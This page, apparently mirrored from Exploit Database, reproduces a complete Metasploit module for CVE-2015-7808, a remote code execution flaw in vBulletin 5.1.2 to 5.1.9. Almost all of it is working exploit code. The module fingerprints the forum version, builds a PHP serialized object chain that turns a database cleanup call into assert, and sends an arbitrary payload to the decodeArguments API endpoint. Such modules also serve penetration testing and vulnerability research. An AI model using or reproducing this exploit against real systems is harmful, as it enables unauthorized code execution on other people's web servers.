vBulletin 5.1.2 < 5.1.9 - Unserialize Code Execution (Metasploit)

• Exploit Database
• 58 阅读

• 作者： Metasploit
  日期： 2017-07-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48761/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'vBulletin 5.1.2 Unserialize Code Execution',
  'Description'=> %q{
  This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9
  },
  'Platform' => 'php',
  'License'=> MSF_LICENSE,
  'Author' => [
  'Netanel Rubin',# reported by
  'cutz',# original exploit
  'Julien (jvoisin) Voisin',# metasploit module
  ],
  'Payload'=>
  {
  'BadChars'=> "\x22",
  },
  'References' =>
  [
  ['CVE', '2015-7808'],
  ['EDB', '38629'],
  ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'],
  ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/']
  ],
  'Arch' => ARCH_PHP,
  'Targets'=> [
  [ 'Automatic Targeting', { 'auto' => true }],
  ['vBulletin 5.0.X', {'chain' => 'vB_Database'}],
  ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}],
  ],
  'DisclosureDate' => 'Nov 4 2015',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
  ])
  end
  
  def check
  begin
  res = send_request_cgi({ 'uri' => target_uri.path })
  if (res && res.body.include?('vBulletin Solutions, Inc.'))
  if res.body.include?("Version 5.0")
  @my_target = targets[1] if target['auto']
  return Exploit::CheckCode::Appears
  elsif res.body.include?("Version 5.1")
  @my_target = targets[2] if target['auto']
  return Exploit::CheckCode::Appears
  else
  return Exploit::CheckCode::Detected
  end
  end
  rescue ::Rex::ConnectionError
  return Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  print_status("Trying to inferprint the instance...")
  
  @my_target = target
  check_code = check
  
  unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
  fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance")
  end
  
  if @my_target.nil? || @my_target['auto']
  fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
  end
  
  print_status("Exploiting #{@my_target.name}...")
  
  chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:'
  chain << @my_target["chain"].length.to_s
  chain << ':"'
  chain << @my_target["chain"]
  chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:'
  chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}"
  
  chain = Rex::Text.uri_encode(chain)
  chain = chain.gsub(/%2a/, '%00%2a%00')# php and Rex disagree on '*' encoding
  
  send_request_cgi({
  'method' => 'GET',
  'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'),
  'vars_get' => {
  'arguments' => chain
  },
   'encode_params' => false,
  })
  end
  end